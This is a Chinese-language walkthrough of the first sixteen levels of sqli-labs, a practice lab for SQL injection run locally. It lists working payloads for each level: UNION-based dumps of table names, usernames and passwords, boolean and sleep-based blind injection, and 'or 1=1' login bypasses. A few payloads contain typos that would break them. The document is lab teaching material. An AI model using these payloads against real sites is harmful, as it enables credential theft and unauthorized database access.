sqli-labs前16关wp
sqli-labs第一关
GET传参（参数id）
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=2-1
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=2
发现id=2与id=2-1相同，可以判断出绝不是数字型，故为字符型
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1’
可以判断出为 ‘ 闭合
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1’–+
接下来判断列数（group/order by +二分法）
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1’group by 5–+
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1’group by 3–+
判断回显位（注意此处?id=-1’）
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=-1’union select 1,2,3–+
发现2，3为回显位
爆数据库名
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=-1’union select 1,user(),database()–+
爆表名
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
爆users表中的列名
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
爆username和password的数据
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=-1’ union select 1,2,group_concat(username ,id , password) from users–+
sqli-labs第二关
相比于Less-1，Less-2中的id缺少’’
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-2/?id=1
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-2/?id=2-1
Id=1与id=2-1结果相同，只有数字型符合此条件
数字型不用判断闭合方式，接下来列数，回显位以及各种宝库与Less-1一模一样，在此不再赘述。
sqli-labs第三关
代码审计发现闭合方式不同
首先判断为字符型
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-3/?id=1’
两个红色构成 ’) 闭合
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-3/?id=1’)–+
接下来与Less-1爆库一模一样
sqli-labs第四关
两处：
$id = ‘"’ . i d . ′ " ′ ; / / 用”“包裹 i d 参数 i d = ( id . '"'; //用”“包裹id参数 id=( id.′"′;//用”“包裹id参数id=(id) LIMIT 0,1"; //用（）包裹id参数
Ok，那我首先判断为字符型，然后判断闭合方式
输入?id=1’ 和 ?id=1’)都没有报错
当我输入?id=1"时报错
可以判断出闭合方式为 ”)
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1")–+
接下来与Less-1爆库一模一样
sqli-labs第五关
查看源码，感觉没啥特殊的
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=1
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-5/?id=-1
通过这两个payload发现页面只有True和False
可以采用布尔盲注和时间盲注
首先根据页面真假值判断为字符型及闭合方式
采取布尔盲注
id=1’ and ascii(substr(‘查询语句’,1,1))>97 --+
加上二分法，可以对database()的字符进行逐个判断
或者通过pythoni脚本来判断
查询表名
?id=-1’ ascii(substr((select tabel_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+
查询列名
?id=-1’ ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1))>100–+
查询用户名和密码
?id=-1’ ascii(substr((select username from users limit 0,1),1,1))>100–+
?id=-1’ ascii(substr((select password from users limit 0,1),1,1))>100–+
sqli-labs第六关
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-6/?id=1
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-6/?id=-1
Less-6也是，盲注
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-6/?id=1"–+
字符型，闭合方式为 “
除了闭合方式，其他都与Less-5一模一样
sqli-labs第七关
逐个测试，发现只有当闭合方式为’))时，页面回显True
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=1’))–+
盲注
除了闭合方式，其他都与Less-5一模一样
sqli-labs第八关
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-8/?id=1’–+
判断为字符型和 ‘ 闭合
盲注
除了闭合方式，其他都与Less-5一模一样
sqli-labs第九关
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=-1
发现不管输入啥值，页面没变化
可以采用时间盲注 if+sleep()
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1’ and sleep(3)–+
判断出闭合方式为 ‘
查询表名
?id=-1’ and if(ascii(substr((select tabel_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(0),sleep(3))–+
查询列名
?id=-1’ and if(ascii(substr((seecet column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1))>100,sleep(0),sleep(3))–+
查询用户名和密码
?id=-1’ and if(ascii(substr((select username from users limit 0,1),1,1))>100,sleep(0),sleep(3))–+
?id=-1’ and if(ascii(substr((select password from users limit 0,1),1,1))>100,sleep(0),sleep(3))–+
sqli-labs第十关
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-10/?id=1 and sleep(3)–+
不会执行sleep(3)，判断出为字符型
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-10/?id=1" and sleep(3)–+
会执行sleep(3)，判断闭合方式为 “
其他都和Less-9一模一样
sqli-labs第十一关
从这一关开始为POST提交，通过代码审计发现，POST参数有两个，分别是uname和passwd
uname=1&passwd=1
uname=1’
&passwd=1
判断出闭合方式为 ‘
uname=1’ group by 3 #
&passwd=1
法一：
页面有报错回显，可以进行报错注入
爆出用户名和密码
法二：
使用万能密钥，绕过代码验证逻辑
uname=1’or 1=1 #
&passwd=1
sqli-labs第十二关
uname=1"
&passwd=1
页面报错，判断出为 “) 闭合
构造万能密钥
uname=1") or 1=1#
&passwd=1
刚刚测试了一下发现也可以采用报错注入进行操作
sqli-labs第十三关
uname=1’
&passwd=1
闭合方式为 ‘)
法一：
构造万能密钥
uname=1’) or 1=1 #
&passwd=1
uname=1’) union select 1,2 #
&passwd=1
法二：
这一关没有报错回显，那我可以采取sleep()进行时间盲注
sqli-labs第十四关
uname=1"
&passwd=1
判断出闭合方式为 “
uname=1" or 1=1 #
&passwd=1
这一关依旧没有回显，但是sleep()也不能执行，有可能被过滤了，前面几关也有可能被过滤了，难受
发现使用union select+sleep()可以执行，而and+sleep()不能执行，不知道为啥！！！
uname=1" union select 1,if(ascii(substr(database(),2,1))> 100,sleep(3),0) #
&passwd=1
sqli-labs第十五关
第十五关和第十一关一样，只是不产生报错信息。这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考。
直接构造万能密钥
uname=1’ or 1=1 #
&passwd=1
简单测试了一下，布尔盲注也可以
uname=1’ union select 1,ascii(substr(database(),1,1))>97 #
&passwd=1
然后可以采用python脚本
sqli-labs第十六关
uname=1") or 1=1 #
&passwd=1
uname=1") union select 1,ascii(substr(database(),1,1))>97 #
&passwd=1
也以采用布尔盲注进行注入